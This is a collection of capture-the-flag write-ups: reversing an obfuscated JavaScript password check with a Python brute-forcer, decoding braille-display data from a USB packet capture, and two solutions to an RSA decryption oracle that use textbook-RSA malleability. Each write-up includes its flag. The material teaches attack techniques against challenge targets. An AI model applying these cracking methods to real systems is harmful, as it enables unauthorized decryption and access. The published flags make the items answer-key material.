```JSfunction open_safe() { keyhole.disabled = true; password = /^CTF{([0-9a-zA-Z_@!?-]+)}$/.exec(keyhole.value); if (!password || !x(password[1])) return document.body.className = 'denied'; document.body.className = 'granted'; password = Array.from(password[1]).map(c => c.charCodeAt()); encrypted = JSON.parse(localStorage.content || ''); content.value = encrypted.map((c,i) => c ^ password[i % password.length]).map(String.fromCharCode).join('')}```
This function extracts our passphrase from the HTML input element. It verify the 'CTF' phrase in the beginning and calling the `x(passphrse)` on it.**We would like to make our `x(password[1])` to return `True`**
```JS<script>function x(х){ord=Function.prototype.call.bind(''.charCodeAt);chr=String.fromCharCode;str=String;function h(s){for(i=0;i!=s.length;i++){a=((typeof a=='undefined'?1:a)+ord(str(s[i])))%65521;b=((typeof b=='undefined'?0:b)+a)%65521}return chr(b>>8)+chr(b&0xFF)+chr(a>>8)+chr(a&0xFF)}function c(a,b,c){for(i=0;i!=a.length;i++)c=(c||'')+chr(ord(str(a[i]))^ord(str(b[i%b.length])));return c}for(a=0;a!=1000;a++)debugger;x=h(str(x));source=/Ӈ#7ùª9¨M¤À.áÔ¥6¦¨¹.ÿÓÂ.Ö£JºÓ¹WþÊmãÖÚG¤¢dÈ9&òªћ#³1᧨/;source.toString=function(){return c(source,x)};try{console.log('debug',source);with(source)return eval('eval(c(source,x))')}catch(e){}}</script>```After prettifying the code:```JS function x(х) { ord = Function.prototype.call.bind(''.charCodeAt); chr = String.fromCharCode; str = String;
function h(s) { for (i = 0; i != s.length; i++) { a = ((typeof a == 'undefined' ? 1 : a) + ord(str(s[i]))) % 65521; b = ((typeof b == 'undefined' ? 0 : b) + a) % 65521 } return chr(b >> 8) + chr(b & 0xFF) + chr(a >> 8) + chr(a & 0xFF) }
function c(a, b, c) { for (i = 0; i != a.length; i++) c = (c || '') + chr(ord(str(a[i])) ^ ord(str(b[i % b.length]))); return c } for (a = 0; a != 1000; a++) debugger; x = h(str(x)); source = /Ӈ#7ùª9¨M¤À.áÔ¥6¦¨¹.ÿÓÂ.Ö£JºÓ¹WþÊmãÖÚG¤¢dÈ9&òªћ#³1᧨/; source.toString = function() { return c(source, x) }; try { console.log('debug', source); with(source) return eval('eval(c(source,x))') } catch (e) {} }```
As we can see, ``x()``:
1. Calculates the hash on it's input's string by using the ``h(str)`` function. 2. Defining a regex object named source 3. Re-defining ``source``'s ``toString`` function to call ``c(source, x)`` 4. Printing 'debug' and source obj to the console 5. Calling eval on another eval...oh, this seemed very strange
Through the code, we had some ANTI-DEBUG shit we had to handle with.
### Hashing processWe started by debugging the whole process via Chrome's developers tools. For this purpose, we commented out the for loop that called the *debugger* command:```JSfor (a = 0; a != 1000; a++) debugger;```Now, we could proceed.
It seems that ``h`` function calculates a hash on the input to our function (parameter ``x``).BUT WAIT!! Looking in the debugging tools, it seems that it calculates the hash on ``x`` function string. WTFFFF?After some time, my team member *NotWearingPants* called me and said:
> xddragon, my BRO, put ``x()`` into Sublime and press the function's name.
After doing it, I figured out that the ``x()`` function got a special unicode char which looks like ``x`` ([CYRILLIC SMALL LETTER](https://en.wiktionary.org/wiki/%D1%85)) . Google - IT WAS NICE :)
You can see that the seemingly `x` is not marked.
---
**Conclusion:** We are hashing `x` function's string.
---
Now, we copied the ``x`` function, named it ``y`` so the prettify process and commenting the loop (see above) won't ruin the hash on ``x``.
BTW: In this step, I asked my team member [RonXD](https://github.com/RonXD) to come and see the - "allegedly `x`" - trick. He also saw the hash function ``h`` and after a second said:
> mannn, its [adler-32](https://en.wikipedia.org/wiki/Adler-32) hashing. You can see it by the use of 'mod 65521'
Say whattt?? NICE, my crypto hero ;)
### Printing source obj's str to consoleSo, when the ``console.log`` was being executed, Chrome was freezed. Running this on Node.JS console, on the other hand, didn't stuck.
```JSsource.toString = function() { return c(source, x) }console.log('debug', source); ```We can see that the first param that was passed to `c` function is `source` object (regex)Now, it can be seen that the loop stopping condition would never be valid. That's because the comparison of `i != a.length` is equivalent to `i != 'undefined'` while `i` is integer, and `a` is regex (it doesn't have `length` property) We've got an infinite loop !
To overcome this challenge we could: - Remove the printing to the console (after examining `c` function, we figured out that `console.log('debug', source)` is redundant - Breaking on `c` and defining `a.length` - Functions' ptrs tricks: ```js// Override old console.log to do nothing. // Saves the old console so we could use it in our code in 'y' functionvar newLog = console.log;console.log = () => {};window.console = console;``` - Changing the behavior of `source's` `toString()` (in Node.JS, `source` was passed as String to `c` and that is why it didn't stuck
### Nesting evals ???We still had to figure our the mystery: *eval of eval*? *ah*?
Another strange thing - *Where, the hell, can we find a validation of our passphrase input?*
---*Reminders:* - *CYRILLIC `x` contains our passphrase* - *We need to make `x` function return True*---
In this step, we took a break, drank two gallons on Coke and....**The Coke helped! We figured out the whole story =]**
Lets examine the eval of eval:```JSreturn eval('eval(c(source,x))')```The first `eval` executes the second `eval` which executes the return value of `c(source, x)` (which is a string, as expected to be).
Now, `c(source, x)` will use the *String* that represents the Regex of `source`. That's why we won't have an infinite loop as previous.[NotWearingPants](https://github.com/NotWearingPants) knew it because he is a JS ninja. Me, on the other hand, had to figure it out from the reference [regex_reference](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp)
> [`RegExp.prototype.source`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/source "The source property returns a String containing the source text of the regexp object, and it doesn't contain the two forward slashes on both sides and any flags.")The text of the pattern.
The regex has a source property which is the str that represents the pattern. That's why `c` function would get `a` to be:
> console.log(source.source);> output: > "Ӈ#7ùª9¨M¤À.áÔ¥6¦¨¹.ÿÓÂ.Ö£JºÓ¹WþÊmãÖÚG¤¢dÈ9&òªћ#³1᧨"
So, executing:```JSc(source,x)```returns:
> "х==c('¢×&�Ê´cʯ¬$¶³´}ÍÈ´T�©Ð8ͳÍ|Ô�÷aÈÐÝ&�¨þJ',h(х))"
**Pay attention, in the beginning it is not `x` it is the [CYRILLIC](https://en.wiktionary.org/wiki/%D1%85) char !!**
So, now will be executed:
```JSeval("х==c('¢×&�Ê´cʯ¬$¶³´}ÍÈ´T�©Ð8ͳÍ|Ô�÷aÈÐÝ&�¨þJ',h(х))");```### Decrypting
Our knowledge: 1. Our input should match the regex: `[0-9a-zA-Z_@!?-]+` 2. Our input should be equal to the return value of `c('¢×&�Ê´cʯ¬$¶³´}ÍÈ´T�©Ð8ͳÍ|Ô�÷aÈÐÝ&�¨þJ',h(х))")` 3. Our input's length should be 39 bytes
Our solution:
1. `c` gets as input the ciphertext and a hash of our input (CYRILLIC variable). 2. The hash (`h` function) would return 1 dword. 3. We can enumerate over those 4 bytes and find a combination that result `c` to return a string that matches `[0-9a-zA-Z_@!?-]+` 4. We wrote a Python script to evaluate the passphrase: ```PYTHONimport itertoolsimport string
# this is approximately `h` in the js codedef modified_adler32(string): # this function is equivalent to: struct.unpack('4B', struct.pack('>I', zlib.adler32(string.encode(), 0x821e0a9a))) a = 0x0a9a b = 0x821e for ch in string: a = (a + ord(ch)) % 0xfff1 b = (b + a) % 0xfff1 return [b >> 8, b & 0xFF, a >> 8, a & 0xFF]
# this is approximately `c` in the js codedef xor_decrypt(encrypted, key): return ''.join(chr(c ^ k) for c, k in zip(encrypted, itertools.cycle(key)))
# this is from the htmlALLOWED_FLAG_CHARS = string.ascii_letters + string.digits + '_-@!?'
# this is from within the `eval` in the jsENCRYPTED_FLAG = [ 0xa2, 0xd7, 0x26, 0x81, 0xca, 0xb4, 0x63, 0xca, 0xaf, 0xac, 0x24, 0xb6, 0xb3, 0xb4, 0x7d, 0xcd, 0xc8, 0xb4, 0x54, 0x97, 0xa9, 0xd0, 0x38, 0xcd, 0xb3, 0xcd, 0x7c, 0xd4, 0x9c, 0xf7, 0x61, 0xc8, 0xd0, 0xdd, 0x26, 0x9b, 0xa8, 0xfe, 0x4a,]
# this is from within the `eval` in the jsdef check_flag(flag): assert all(ch in ALLOWED_FLAG_CHARS for ch in flag) return flag == xor_decrypt(ENCRYPTED_FLAG, modified_adler32(flag))
### SOLUTION: ###if __name__ == '__main__':
HASH_LENGTH = 4
hash_bytes_possibilities = [ [ byte for byte in range(256) if all(chr(e ^ byte) in ALLOWED_FLAG_CHARS for e in ENCRYPTED_FLAG[i::HASH_LENGTH]) ] for i in range(HASH_LENGTH) ]
for possible_hash in itertools.product(*hash_bytes_possibilities): possible_flag = xor_decrypt(ENCRYPTED_FLAG, possible_hash) if check_flag(possible_flag): print(possible_flag) ```
## Solution
> CTF{_N3x7-v3R51ON-h45-AnTI-4NTi-ant1-D3bUg\_}
## CHALLENGE COMPLETED - BAMMMM !!!!
 |
# Feel ItThis task was part of the 'MISC' category at the 2018 Google CTF Quals round (during 23-24 June 2018).
It was solved by [or523](https://github.com/or523), in [The Maccabees](https://ctftime.org/team/60231) team.
## The challengeThe only hint given in the website is:```I have a feeling there is a flag there somewhere```Downloading and extracting the attached zip, we get a single pcap capture file:```feel-it: pcap-ng capture file - version 1.0```Popping it into wireshark, we see a few packets of USB communication.I don't know a thing about the USB protocol, but I started to play around with the capture and see what information I can deduce. At start, one type of packets which gets sent all the time pops into my eye, of type ```URB_INTERRUPT```.In some of these packets (the few first), in addition to the regular data in these packets, there was some 'Leftover Capture Data' (```usb.capdata```), which seems in first sight like additional payload data in these packets. After extracting the data with ```tshark -r feel-it -T fields -e usb.capdata``` and playing with it a bit - we couldn't find anything interesting (most of these packets doesn't carry any leftover data at alll).
Another type of packets that seem to contain data are packets of type ```SET_REPORT``` above the ```USBHID``` layer. Inside the packet, under ```URB_SETUP```, there seem to be a "Data Fragment" field which contains some data, always of length 64 bytes. Again, extracting the data with ```tshark```, it doesn't make much sense by itself; the only thing noticeable here is that some of the packets are padded with ```0x00```, and the other ones are padded with ```0x55``` (```'U'```). A sample of some of these data frgaments:```02:00:04:53:49:03:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:5502:00:54:42:53:1d:15:1e:00:01:1d:00:41:5e:24:4e:4f:4a:06:00:1e:11:2d:1e:00:3a:0a:19:1b:11:1e:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:0000:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:03:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:5502:00:54:42:53:43:57:47:5e:5e:7d:00:22:28:16:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:0000:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:03:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55```In this stage, we understood that we must have a better understanding of the two communicating sides - otherwise, deducing what is going on will be super-hard. It is easy to see that the first 32 packets in the capture are some sort of initilization of the communication - a lof of ```GET DESCRIPTOR``` requests and responses, and some ```SET_CONFIGURATION``` packets as well. This could be very useful - especially because we see that the payload at the ```GET_DESCRIPTOR``` responses is a string - but when reading the actual data, all we get is:```'Manufacturer is confidential''and so is product string''not to mention serial number'```Google censored the strings... But we still have some hope - after the very first ```GET DESCRIPTOR``` request, which seems to have a descriptor type of ```DEVICE``` (```0x0```), we get in response the following data:```Frame 2: 82 bytes on wire (656 bits), 82 bytes captured (656 bits) on interface 0USB URB...DEVICE DESCRIPTOR bLength: 18 bDescriptorType: 0x01 (DEVICE)... idVendor: Keil Software, Inc. (0xc251) idProduct: Unknown (0x1126) ```We have a vendor ID and a product ID! Although googling "Keil Software" doesn't yield any interesting results, searching for the actual values (```0xc251```, ```0x1126```) we find [the following file](https://github.com/google/brailleback/blob/master/third_party/brltty/Drivers/Braille/EuroBraille/eu_braille.c), under a github repository by google, called **[brailleback](https://github.com/google/brailleback)**. Looking at the first line of the file, and in the relevant lines for our product & vendor ID:```c/** BRLTTY - A background process providing access to the console screen (when in* text mode) for a blind person using a refreshable braille display.*``````cstatic const UsbChannelDefinition usbChannelDefinitions[] = {... { /* Esys (version >= 3.0, no SD card) */ .vendor=0XC251, .product=0X1126, .configuration=1, .interface=0, .alternative=0, .inputEndpoint=1, .outputEndpoint=0 }...}```And reading briefly into the file, we find some more interesting functions such as ```writeData_USB```.
It seems now that we got a better understanding of what exactly is going on: this device is some sort of [refreshable braille display](https://en.wikipedia.org/wiki/Refreshable_braille_display), connected to the computer in order to help blind pepole read text.For whom of you who doesn't know, [braille](https://en.wikipedia.org/wiki/Braille) is a writing system for blind pepole, who relies on touching the paper and feeling the characters, making reading possible for the visually impaired. The refreshable braille displays are the new generation of braille reading - a devices that can dynamically raise and lower pins on the device. Braille chracters are usually a 3x2 (or, in the extended version, 4x2) matrix of dots, in which each dot can be on (raised) or off (not there). For example, some braille characters might look like this:
While the rereshable braille display could look something like that (and this model is actually the one used here - from [EuroBraille](http://www.eurobraille.fr/en/esys)) - notice the little dynamic braille characters on the device:
One last hint that we are on the right track was the task name - **Feel It**, which now makes much more sense - as the purpose of this device is to feel the characters it's displaying.
Great! After we understand what are the devices that are communicating, it seems obvious that what we have here is some sort of activation and usage of a refreshable braille display, and that our goal is to extract the actual braille chracters from the packet capture. My immeidate guess was that this capture actually abuses the braille display, and using the display shows some image (which isn't actually braille characters), but I was later proven wrong.
So let's start exploring! We already have the exact source file, which seems to contain the driver that is actually responsible for communication with the device. As we saw earlier, the ```writeData_USB``` function seems interesting, so let's look what it does:```cstatic ssize_twriteData_USB (BrailleDisplay *brl, const void *data, size_t length) { size_t offset = 0;
while (offset < length) { unsigned char report[64]; size_t count = length - offset;
if (count > sizeof(report)) { count = sizeof(report); } else { memset(&report[count], 0X55, (sizeof(report) - count)); } memcpy(report, data+offset, count);
updateWriteDelay(brl, sizeof(report)); if (gioSetHidReport(brl->gioEndpoint, 0, report, sizeof(report)) < 0) return -1;
offset += count; }
return length;}```It seems that this function just get a buffer of data (and its length), split it into 64-bytes chunks ('reports'), and send them in order. In the last chunk, the remaining bytes in the chunk are padded with a value of 0x55 (```'U'```). The functions called are ```updateWriteDelay```, which does nothing too interesting (updating some internal value), and ```gioSetHidReport``` - which does the actual USB communication - a ```SET_REPORT``` packet over the USBHID layer. That's great! This is just the pattern we saw at the ```SET_REPORT``` packets in the capture - 64-bytes packets, some padded with 0x55.
We can now easily conclude that the packets were eventually sent with this function, and we can also write a simple (yet ugly) python script that will aggregate the reports into complete data packet (meaning - the original buffer that the ```writeData_USB ``` function was called with) using the 0x55 padding (for simplicity - we assume that if a data fragment ends with 0x55, it is the last fragment of the current report).```python# Read data of SET_REPORTwith open("report_fragments.txt", "r") as f: packets = [] current_packet = "" for line in f.readlines(): hexdata = line.replace(":","").rstrip().decode("hex") current_packet += hexdata # Check if end of packet if ord(hexdata[-1]) == 0x55: packets.append(current_packet) current_packet = "" # Parse packetsfor i, pkt in enumerate(packets): parse_packet(pkt, i)```Great! But the packets still contains a lot of data we do not know how to parse. If we print the actual data (```0x55``` padding stripped), we see an interesting pattern: the data always starts with ```0x02``` byte and ends with ```0x03``` byte. Let's get back to the code, and try to find who calls the ```writeData_USB``` function. The ```eu_braille.c``` itself doesn't contain any calls, but let's look at all the file in the directory ```brltty/Drivers/Braille/EuroBraille```. There are a few call sites (all using the function pointer ```io->writeData```), but one intersting one - in the file ```eu_esysiris.c```:```cstatic ssize_twritePacket (BrailleDisplay *brl, const void *packet, size_t size) { int packetSize = size + 2; unsigned char buf[packetSize + 2]; if (!io || !packet || !size) return (-1); buf[0] = STX; buf[1] = (packetSize >> 8) & 0x00FF; buf[2] = packetSize & 0x00FF; memcpy(buf + 3, packet, size); buf[sizeof(buf)-1] = ETX; logOutputPacket(buf, sizeof(buf)); return io->writeData(brl, buf, sizeof(buf));}```After some grepping we also discover that (in ASCII) ```STX = 0x02``` and ```ETX = 0x03``` - and it seems we found the correct function. These characters indicate the start and end of the text, and the second and third bytes indicate the length of the text. So we can easily parse this as well:```pythondef parse_packet(pkt, i): # Assert text start & end assert pkt[0] == STX data_length = struct.unpack(">H",pkt[1:3])[0] assert pkt[data_length+1] == ETX
# Extract packet data packet_data = pkt[3:data_length+1] assert len(packet_data) == data_length - 2```Okay, let's continue xrefing! Now, when we extracted the data from the packets, we see another interesting pattern: the first packets starts with the bytes ```"SI"``` (and only them), while all the other packets start with the bytes ```"SB"```, and ```0x50``` bytes of data afterwards. But we easily can understand why by looking at the callers of ```writePacket```:```cinitializeDevice (BrailleDisplay *brl) { ... static const unsigned char packet[] = {LP_SYSTEM, LP_SYSTEM_IDENTITY}; // {'S', 'I'} if (writePacket(brl, packet, sizeof(packet)) == -1) return 0; ... }```So it's obvious the ```"SI"``` packet is some part of the initilization device. Another interesting function:```cstatic intwriteWindow (BrailleDisplay *brl) { static unsigned char previousCells[MAXIMUM_DISPLAY_SIZE]; unsigned int size = brl->textColumns * brl->textRows;
if (cellsHaveChanged(previousCells, brl->buffer, size, NULL, NULL, &forceWindowRewrite)) { unsigned char data[size + 2]; unsigned char *byte = data;
*byte++ = LP_BRAILLE_DISPLAY; // 'S' *byte++ = LP_BRAILLE_DISPLAY_STATIC; // 'B' byte = translateOutputCells(byte, brl->buffer, size);
if (writePacket(brl, data, byte-data) == -1) return 0; }
return 1;}```This seems to be the function we needed - the one who actually writes the data to the screen. We see the ```"SB"``` prefix as a good indication that our location is correct; and we can conclude that ```size == 0x50``` (because the length of the actual data). Our assumption at this stage is that each byte sent here represents a single braille character written on the device (because we see that the number of bytes is a multiply of the text columns and rows).Looking at ```translateOutputCells``` function, it seems to translate the output bytes to different encoding, in which it transforms each bit of the output byte to another bit in the input byte. From the code, it is obvious that each bit represents one braille dot, because we can see the translation table creation (in the file ```Programs/brl_base.c```):```cconst DotsTable dotsTable_ISO11548_1 = { BRL_DOT_1, BRL_DOT_2, BRL_DOT_3, BRL_DOT_4, BRL_DOT_5, BRL_DOT_6, BRL_DOT_7, BRL_DOT_8};...voidmakeTranslationTable (const DotsTable dots, TranslationTable table) { int byte;
for (byte=0; byte<TRANSLATION_TABLE_SIZE; byte+=1) { unsigned char cell = 0; int dot;
for (dot=0; dot<DOTS_TABLE_SIZE; dot+=1) { if (byte & dotsTable_ISO11548_1[dot]) { cell |= dots[dot]; } }
table[byte] = cell; }}```And the actual definitions of the dots as bitfields (in ```Headers/brl_dots.h```):```c#define BRL_DOT_COUNT 8
#define BRL_DOT(number) (BrlDots)(1 << ((number) - 1))#define BRL_DOT_1 BRL_DOT(1) /* upper-left dot of standard braille cell */#define BRL_DOT_2 BRL_DOT(2) /* middle-left dot of standard braille cell */#define BRL_DOT_3 BRL_DOT(3) /* lower-left dot of standard braille cell */#define BRL_DOT_4 BRL_DOT(4) /* upper-right dot of standard braille cell */#define BRL_DOT_5 BRL_DOT(5) /* middle-right dot of standard braille cell */#define BRL_DOT_6 BRL_DOT(6) /* lower-right dot of standard braille cell */#define BRL_DOT_7 BRL_DOT(7) /* lower-left dot of computer braille cell */#define BRL_DOT_8 BRL_DOT(8) /* lower-right dot of computer braille cell */```Cool! So each byte represents a braille character, and each bit in it represnts a different braille dot. Notice that we can know now that we are using the extended braille format, which have 8 dots instead of 6, because there are clearly some bytes with the 7th and 8th bits on (also - notice the suprising locations of the 7th and 8th dots on the 4x2 grid).
(Another thing we did was to understand the data passing in the ```USB_URB``` packets - but we will not talk about that anymore. The only important conclusion we got is that the display is a single row of ```0x50``` braille characters. If you want to discover more - refer to the attached script and read the ```handleSystemInformation``` function in the mentioned file).
We can now complete the python script, and make it print our braille characters (in hope of finding some sort of image there). Here is a sample of the output (```O``` for dot that is on; ```.``` for a dot that is off):```.O O. O. OO .O .O .O .O O. O. O. O. .. .O OO OO .. OO .O OO .O O. .. OO O. .O O. OO OO .O .O .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. O. O. .O OO O. OO .. O. OO .O O. O. .. .O OO O. .. .. OO O. O. OO O. .O .O .O .. .O .O .O O. OO .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .O O. .. .. .. O. .. O. .. .. O. O. .. .. .O .O .. .. O. .. .O .. .. .. .. .O .. O. .. .O O. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. O. .. .. .. .. .. O. .. .. .. .. .. .. .. O. .. .. O. O. O. .. .. .. .. .. .. .. .. .. .. .. .. OO .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. ..
.O O. O. OO .O .O .O .O O. O. O. O. .. .O OO OO .. OO .O OO .O O. .. OO O. .O O. OO OO .O .O .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. O. O. .O OO O. OO .. O. OO .O O. O. .. .O OO O. .. .. OO O. O. OO O. .O .O .O .. .O .O .O O. OO OO .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .O O. .. .. .. O. .. O. .. .. O. O. .. .. .O .O .. .. O. .. .O .. .. .. .. .O .. O. .. .O O. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. O. .. .. .. .. .. O. .. .. .. .. .. .. .. O. .. .. O. O. O. .. .. .. .. .. .. .. .. .. .. .. .. .. OO .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. ..
.O O. O. OO .O .O .O .O O. O. O. O. .. .O OO OO .. OO .O OO .O O. .. OO O. .O O. OO OO .O .O .. .. O. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. O. O. .O OO O. OO .. O. OO .O O. O. .. .O OO O. .. .. OO O. O. OO O. .O .O .O .. .O .O .O O. OO OO .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .O O. .. .. .. O. .. O. .. .. O. O. .. .. .O .O .. .. O. .. .O .. .. .. .. .O .. O. .. .O O. .. .. O. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. O. .. .. .. .. .. O. .. .. .. .. .. .. .. O. .. .. O. O. O. .. .. .. .. .. .. .. .. .. .. .. .. .. .. OO .. .. .. .. .. .. .. .. .. .. .. .. .. .. ..
.O O. O. OO .O .O .O .O O. O. O. O. .. .O OO OO .. OO .O OO .O O. .. OO O. .O O. OO OO .O .O .. .. O. OO .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. O. O. .O OO O. OO .. O. OO .O O. O. .. .O OO O. .. .. OO O. O. OO O. .O .O .O .. .O .O .O O. OO OO .. OO .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .O O. .. .. .. O. .. O. .. .. O. O. .. .. .O .O .. .. O. .. .O .. .. .. .. .O .. O. .. .O O. .. .. O. .O .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. O. .. .. .. .. .. O. .. .. .. .. .. .. .. O. .. .. O. O. O. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. OO .. .. .. .. .. .. .. .. .. .. .. .. .. ..
OO O. .O .. O. OO .. O. .O .. .O OO .O .. .. .O O. OO .O .. .O .O OO OO O. .O .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .O .O OO .. .. .O .. .. OO .. O. O. O. O. .. OO .O .. OO .. OO O. .O OO .O OO .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. O. O. O. .. .. O. .. .. O. OO O. O. .. O. .. O. .. OO O. .. .O .. .. .. .. O. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. O. O. .. O. O. O. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. ```Looks cool, but doesn't make much sense... we were probably wrong; these braille characters are probably actually meant for blind people to read as English. In order to do so, we will use the [BRLTTY](http://mielke.cc/brltty/) project source - which is used to handle such braille displays. The code we were looking was already part of the BRLTTY project, but wasn't the complete source tree.Inside the BRLTTY source tree, we find ```en-nabcc.ttb``` file - which is exactly what we wanted: a translation table from extended (8-dot) braille characters into english characters. It looks something like this:```... #Hex Dots Dec Char Descriptionchar \X20 ( ) # 32 spacechar \X61 (1 ) # 97 a latin small letter achar \X62 (12 ) # 98 b latin small letter bchar \X63 (1 4 ) # 99 c latin small letter cchar \X64 (1 45 ) # 100 d latin small letter dchar \X65 (1 5 ) # 101 e latin small letter echar \X66 (12 4 ) # 102 f latin small letter fchar \X67 (12 45 ) # 103 g latin small letter gchar \X68 (12 5 ) # 104 h latin small letter h...```So we easily integrated this translation to the python script (this was, of course, after several other encodings we tried - that just outputted garbage instead of actual text), and the output we get:```not an AT-SPI2 text widget BRLTTY 5.6 ? [legit@shell ~]$? [legit@shell ~]$C? [legit@shell ~]$CT? [legit@shell ~]$CTF? [legit@shell ~]$CTF{? [legit@shell ~]$CTF? [legit@shell ~]$CT?{ [legit@shell ~]$C?F{ [legit@shell ~]$?TF{ [legit@shell ~]$ ?TF{ [legit@shell ~]$ C?F{ [legit@shell ~]$ CT?{ [legit@shell ~]$ CTF? [legit@shell ~]$ CTF{? [legit@shell ~]$ CTF{h? [legit@shell ~]$ CTF{h!? [legit@shell ~]$ CTF{h!d? [legit@shell ~]$ CTF{h!de? [legit@shell ~]$ CTF{h!d? [legit@shell ~]$ CTF{h!?e [legit@shell ~]$ CTF{h?e [legit@shell ~]$ CTF{h!?e [legit@shell ~]$ CTF{h?e [legit@shell ~]$ CTF{h1?e [legit@shell ~]$ CTF{h1d? [legit@shell ~]$ CTF{h1de? [legit@shell ~]$ CTF{h1de_? [legit@shell ~]$ CTF{h1de_a? [legit@shell ~]$ CTF{h1de_an? [legit@shell ~]$ CTF{h1de_and? [legit@shell ~]$ CTF{h1de_and_? [legit@shell ~]$ CTF{h1de_and_s? [legit@shell ~]$ CTF{h1de_and_s#? [legit@shell ~]$ CTF{h1de_and_s##? [legit@shell ~]$ CTF{h1de_and_s#? [legit@shell ~]$ CTF{h1de_and_s? [legit@shell ~]$ CTF{h1de_and_s3? [legit@shell ~]$ CTF{h1de_and_s33? [legit@shell ~]$ CTF{h1de_and_s33k? [legit@shell ~]$ CTF{h1de_and_s33k}? not an AT-SPI2 text widget ```Yay! the flag is ```CTF{h1de_and_s33k}```; and we assume all the other lines are used to create some sort of moving text on the refreshable braille display itself.
## ConclusionThe challenge was really fun. This writeup ended up longer than I thought, although I still hid some details from you, such as the format of the ```USB_URB``` message, or the various struggles with different encodings of braille.
See you next CTF!\~ or523
> Written with [StackEdit](https://stackedit.io/). |
## Problem
The server offers the decrypt any ciphertext given to you but will not send it back if it is equal to the flag.
```$ nc chal.noxale.com 4242Please insert your ciphertext to decrypt in hex form:>>> 0x7b1a62cb17160448d544ff674f978876d2a4418ff9cfc32e9eda41ed566617a034c34091f19dbe650fdb11e7aa5744a48709b61a44a499c213dc19eb092fd8282e5ec69051d3adba84129571143e14e14be7f63bd8cdb42a4eedfb62570ed7eaef8002c3f6f3267079833effe836d8e10e0f01bcbd2470b2c0c10b59d1aa260aNot gonna happen.```## Solution
This problem used [text book RSA](https://crypto.stackexchange.com/questions/1448/definition-of-textbook-rsa), which implements the standard RSA without any padding.
Textbook RSA is _malleable_, which means we can easily manipulate the _ciphertext_ in a way that makes the changes to the corresponding _plaintext_ predictable.
So in this problem shifted the flag the the left```c^d = m mod n(c * 2^e) ^d = m * 2 mod n # the flag 1 bit the the left(c * 2^16e) ^d = m * 2^16 mod n # the flag 16 bits the the left```
This simple shift will allow us to decrypt the flag without tripping the check done by the server.
```Please insert your ciphertext to decrypt in hex form:>>> 546aa1c93858114cb4302e8b7e4c2a91c878a010982e6283a5e665915466dcd2af6219ddcb3a0d4698680709b1613fd309da5f341c4413687e61bd857060a4754f425e8e8f20e6463bfbdd03f0fbe5688bcac8755f9e4c8309f5adb6677aea6c86afba638eeecac9a8fe405e81507054c3b5700e3d4acfd81853a3bcd56783d46e6f784354467b307537736d34723733647d0000```Which is `noxCTF{0u7sm4r73d}\x00\x00`
__See URL for complete implementation__ |
# Challenge Name : Decryptor>>I created this nice decryptor for RSA ciphertexts, you should try it out!>>nc chal.noxale.com 4242>>Oh, and someone told me to give this to you: >N = 140165355674296399459239442258630641339281917770736077969396713192714338090714726890918178888723629353043167144351074222216025145349467583141291274172356560132771690830020353668100494447956043734613525952945037667879068512918232837185005693504551982611886445611514773529698595162274883360353962852882911457919 >c = 86445915530920147553767348020686132564453377048106098831426077547738998373682256014690928256854752252580894971618956714013602556152722531577337080534714463052378206442086672725486411296963581166836329721403101091377505869510101752378162287172126836920825099014089297075416142603776647872962582390687281063434 >e = 65537
The Decryptor service is programmed to decrypt any ciphertext except the one we have . So we have to represent the ciphertext in some other way such that it decrypts to a plaintext which is related to the original plaintext. In Cryptography, this property of a cipher is known as [Malleability](https://en.wikipedia.org/wiki/Malleability_%28cryptography%29) . RSA with a proper padding is not malleable while the naked RSA used here is.
## The Math
The RSA Encryption is given by
where,  is ciphertext  is plaintext  is public exponent  is modulus
Suppose we take a random integer  , We multiply  on both sides
Decrypting the LHS part of the equation with decryptor gives us  , using which  is trivial to get.
Now that we know what to do, we can write a simple python script [decryptor.py](https://github.com/0x5C71873F/noxCTF-2018/blob/master/Crypto-Decryptor/decryptor.py) which can do all the above.
We run the script, Aaaaaand we get the flag.
## Flag
`noxCTF{0u7sm4r73d}` |
# Decryptor
**Challenge Points**: 447 **Challenge Description**: I created this nice decryptor for RSA ciphertexts, you should try it out!
